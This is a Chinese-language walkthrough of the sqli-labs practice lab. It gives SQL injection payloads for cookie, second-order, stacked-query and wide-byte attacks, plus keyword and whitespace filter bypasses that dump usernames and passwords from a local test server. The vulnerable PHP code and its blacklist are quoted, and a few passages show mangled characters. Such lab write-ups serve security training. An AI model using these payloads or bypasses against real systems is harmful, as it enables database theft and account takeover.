base64编码,单引号,报错型,cookie型注入。
本关和less-20相似,只是cookie的uname值经过base64编码了。
登录后页面:
圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登陆的uname,所以猜测:本题在cookie处加密了字符串,
查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。
先抓包看一下:
看到cookie是YWRtaW4%3D ,和页面显示不一样,但是明显%3D 是=号urldecode的结果,接下来构造paylaod进行测试
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
这里就不演示爆行数了,上一题已经做过了。
经过我多次测试,–+在此处不好用,需要使用#来注释。
示例爆库paylaod:
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
接下来只需要修改第三条查询语句,和less-20一样(注意用#注释,而不用–+),只要base64加密后写入cookie,就可以完成注入。
base64编码,双引号,报错型,cookie型注入。
和less-21一样的,只需要使用双引号代替单引号再取掉括号
样例payload:
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
注入完成。
观察PHP代码,看到替换了能用的注释符,所以我们构造闭合语句:
爆库
?id=' union select 1,2,database() '
爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
注入完成。
1.注册一个admin’#的账号。
2.登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’
也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’
成功的话跳转页面会提示Password successfully updated
3.用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。
注入成功。
测试一下
payload
?id=1' #
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial\WWW\sqli-labs\Less-25\index.php on line 37
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
payload
?id=1' --+
Your Login name:Dumb
Your Password:Dumb
看到id周围全是单引号,
但是第二种payload没有报错,可以注入。
方法一,–+绕过,一般注入。
样例
?id=-1' union select 1,2,database()--+
有必要说一下这题在爆值的时候对password进行了处理,查询password列,回显no column passwd,所以双写or绕过
同理information也是。
样例
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
方法二,双写or或and绕过
测试
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
or and形成闭合语句,sql查询,不再赘述。
注入结束。
那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and
不同于25关的是sql语句中对于id,没有’'的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。
此处采取两种方式:延时注入和联合注入。
http://127.0.0.1/sql/Less-25a/?id=-1%20||%20if(length(database())=8,1,sleep(5))#
http://127.0.0.1/sql/Less-25a/?id=-1%20union%20select%201,database(),3#
查一下php文件
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//fiddling with comments
$id= blacklist($id);
//echo "
";
//echo $id;
//echo "
";
$hint=$id;
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以看到function blacklist( i d ) 来 了 个 过 滤 全 家 桶 , id) 来了个过滤全家桶, id)来了个过滤全家桶,id 周围是单引号,过滤了 or,and , /* , – , # , 空格 , /
将空格,or,and,/*,#,–,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
我们首先给出一个最为简单的payload:
http://127.0.0.1/sqllib/Less-26/?id=1’%a0||'1
第一个 ’ 首先闭合id=’$id’ 中的’,%a0是空格的意思,
同时%0b也是可以通过测试的,其他的经测试是不行的。||是或者的意思,'1则是为了闭合后面的 ’ 。
注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要
确认字段数
http://127.0.0.1/sqli-labs/Less-26/?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
查数据库名
http://127.0.0.1/sqli-labs/Less-26/?id=0'union%a0select%a01,database(),3%26%26'1'='1
查表名(information里面有一个or会被过滤掉所以需要双写infoorrmation)(这里用&&)
http://127.0.0.1/sqli-labs/Less-26/?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%26%26%a0'1%27='1
查字段名(这里需要注意and也需要双写)
http://127.0.0.1/sqli-labs/Less-26/?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
查数据
http://127.0.0.1/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0'1%27='1
也可以用户名和密码一起查
http://127.0.0.1/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
这里不同的是后面多了where ‘1’='1,是为了让语句变成无约束查询
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为 SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1
查数据库名
http://127.0.0.1/sqli-labs/Less-26a/?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
查表名
http://127.0.0.1/sqli-labs/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
查字段名
http://127.0.0.1/sqli-labs/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
查数据
http://127.0.0.1/sqli-labs/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
用户名和密码一起爆
http://127.0.0.1/sqli-labs/Less-26a/?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
老样子先看看是否过滤了单引号,发现是过滤的
是否过滤空格,也是过滤的
爆数据库
http://127.0.0.1/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
这里的or '1 ’ = ‘1是为了闭合和后的’ 变成or ‘1’=‘1’ limit 1,1 让语句完整
查表名 (这里需要把or换成&&(%26%26))
http://127.0.0.1/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1
查字段名
http://127.0.0.1/sqli-labs
/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1
查数据
http://127.0.0.1/sqli-labs/Less-27/?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3
这个是Less-27的盲注版本,双引号型的,参考Less-27注入即可。
经过测试,语句可能是 select *from users where id=(‘xxx’)
查数据库
http://127.0.0.1/sqli-labs/Less-28/?id=0')UNion%a0SElect%a01,database(),('3')=('3
或者这样可以的,主要关注的是需要闭合原语句后面的’)
http://127.0.0.1/sqli-labs/Less-28/?id=0')UNion%a0SElect%a01,database(),3%a0or%a0('1')=('1
查表名:(这里别忘记把or换成&&)
http://127.0.0.1/sqli-labs/Less-28/?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1
查字段名
http://127.0.0.1/sql-labs/Less-28/?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1
查数据(把&&换成where)
http://127.0.0.1/sqli-labs/Less-28/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0('1')=('1
还有这个
http://127.0.0.1/sqli-labs/Less-28/?id=0')UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0UNion%a0SELect%a01,2,('3')=('3
参考Less-28注入即可。
老规矩先判断
输入双引号正常
输入一个引号发生错误,两个引号正常
那么语句可能是 select * from users where id=‘xx’ limit 1,1
尝试注入
?id=-1' union select 1,2,database()--+
库爆出来了,后面步骤一样
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
这题跟上一题差不多,语句就是把单引号换成双引号就行了。
用WAF防护
样例
?id=-1")union select 1,2,database() --+
考虑参数污染的话可以使用
样例
?id=1&id=-1")union select 1,2,database() --+
剩余步骤参考前面即可。
绕过 addslashes()
宽字节绕过引号转义
addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I’m hacker
原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6’ 这样的构造时,’ 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用
样例
?id=-1%E6' union select 1,version(),database() --+
使用十六进制编码就可以绕过了’'使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273
?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+
接下来的步骤比较简单,不再赘述。
绕过 addslashes()
和上一题一样的。
绕过添加斜杠
post方式,抓包提交。
样例
uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit
注入结束。
为什么要关心addslashes()
测试
?id=1'
id周围没有单引号或双引号,现在就明白题目的标题了,不需要过,直接注入,不再赘述。
样例
?id=-1 union select 1,version(),database()--+
单引号闭合
该关中用到了一个函数:
function check_quotes($string) { s t r i n g = m y s q l r e a l e s c a p e s t r i n g ( string= mysql_real_escape_string( string=mysqlrealescapestring(string); return $string; }
介绍一下 mysql_real_escape_string():
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00 \n \r \ ’ " \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
详细注入过程参考Less-32。
该关与Less-34的区别在与过滤函数的不同:
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
但原理并没有什么区别,和Less-34一样用万能密码过掉即可。
查看php源代码
使用堆叠注入
http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values (15,'jack','jack')--+
不再赘述。
和上一关唯一的区别就是:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
其余一样。
唯一的区别:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
其余一样,联合注入,不在赘述。